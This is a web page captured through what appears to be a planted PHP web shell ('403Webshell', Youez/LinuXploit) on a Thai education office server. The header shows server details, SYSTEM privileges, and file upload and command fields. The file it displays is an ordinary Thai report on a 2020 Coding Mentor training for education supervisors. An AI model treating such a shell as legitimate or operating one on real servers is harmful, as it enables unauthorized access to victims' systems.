403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myoffice/2563/data/tkk1text/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /Inetpub/www/myoffice/2563/data/tkk1text/1583124137.txt
<p>&nbsp; &nbsp; &nbsp; &nbsp; ตามหนังสือสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ที่ ศธ 04010 / ว73 ลงวันที่ 7 มกราคม 2563&nbsp; ได้แจ้งให้สำนักงานเขตพื้นที่การศึกษามัธยมศึกษา เขต 8&nbsp; คัดเลือกศึกษานิเทศก์เข้าร่วมการอบรม หลักสูตรการอบรมการให้คำปรึกษาและการจัดการเรียนรู้วิทยาการคำนวณ สำหรับศึกษานิเทศก์ Coding Mentor (CM)&nbsp; ระหว่างวันที่&nbsp; 16-20 มกราคม 2563 ณ โรงแรมนนทบุรีพาเลซ จังหวัดนนทบุรี&nbsp; นั้น</p>
<div>&nbsp; &nbsp; &nbsp; &nbsp; ข้าพเจ้า นางสุวิไล&nbsp; จันทร์สนอง ตำแหน่ง ศึกษานิเทศก์ชำนาญการพิเศษ พร้อมด้วยนางหงษ์หยก&nbsp; ปลาตะเพียนทอง ตำแหน่ง ศึกษานิเทศก์ชำนาญการพิเศษ&nbsp; ได้เข้ารับการอบรมในวัน เวลา ดังกล่าว&nbsp; และขอรายงานการอบรม ดังนี้</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; <strong>รายงานการอบรม</strong></div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; 1. ธรรมชาติของวิชาวิทยาการคำนวณ และจุดเน้นระดับชั้นประถมศึกษาตอนต้น ระดับชั้นประถมศึกษาตอนปลาย ระดับมัธยมศึกษาตอนต้น และระดับมัธยมศึกษาตอนปลาย</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; 2. การนิเทศโครงสร้างหลักสูตรและการวัดและประเมินผล</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- พิจารณาโครงสร้างหลักสูตรที่กำหนดให้ ตรวจหาข้อผิดพลาดและให้ข้อเสนอแนะในการปรับปรุงพัฒนา</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- วิเคราะห์ตัวชี้วัดและสาระการเรียนรู้แกนกลาง เพื่อออกแบบการวัดและประเมินผลการจัดกิจกรรมการเรียนรู้วิทยาการคำนวณ</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; 3. การออกแบบเครื่องมือการนิเทศ</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- ออกแบบเครื่องมือนิเทศ ติดตาม การจัดการเรียนรู้วิทยาการคำนวณ เพื่อนำมาใช้นิเทศครูผู้สอนในการจัดการเรียนรู้&nbsp;</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- ออกแบบเครื่องมือการนิเทศ แบบตรวจสอบความเหมาะสมของแผนการจัดการเรียนรู้วิทยาการคำนวณ พร้อมเกณฑ์การประเมินความเหมาะสมของแผนการจัดการเรียนรู้ รวมทั้งแบบสังเกตพฤติกรรมการสอนของครูในการจัดกิจกรรมการเรียนรู้วิทยาการคำนวณ</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; 4. แนวทางการดำเนินงานในระดับเขตพื้นที่การศึกษา</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- จัดทำร่างโครงการขับเคลื่อนการจัดการเรียนรู้วิทยาการคำนวณ ของสำนักงานเขตพื้นที่การศึกษามัธยมศึกษา เขต 8&nbsp; เพื่อเสนอของบประมาณดำเนินการให้ความรู้แก่ครูที่จัดการเรียนรู้วิทยาการคำนวณ และรอผลการจัดสรรงบประมาณเพื่อจัดทำโครงการเป็นลำดับต่อไป</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; <strong>การดำเนินการ</strong>&nbsp;</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ในการอบรมครั้งนี้ สามารถนำไปประยุกต์ใช้ในการปฏิบัติงานในหน้าที่ได้ดังต่อไปนี้&nbsp;</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1. นำความรู้เกี่ยวกับธรรมชาติของวิชาวิทยาการคำนวณ ไปให้คำแนะนำครูในการออกแบบการจัดการเรียนรู้</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2. นำความรู้เรื่องโครงสร้างหลักสูตรและการวัดประเมินผล ไปตรวจสอบหลักสูตรสถานศึกษาและให้คำแนะนำแก่โรงเรียนในสังกัดในการปรับปรุงและพัฒนาหลักสูตรสถานศึกษา</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3. นำแนวทางในการจัดอบรมครูผู้สอนของโรงเรียนในสังกัด ให้มีความรู้ความเข้าใจและสามารถจัดการเรียนรู้วิชาวิทยาการคำนวณ&nbsp;</div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <strong>เห็นควร</strong></div>
<div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; เพื่อโปรดทราบ</div>

Youez - 2016 - github.com/yon3zu
LinuXploit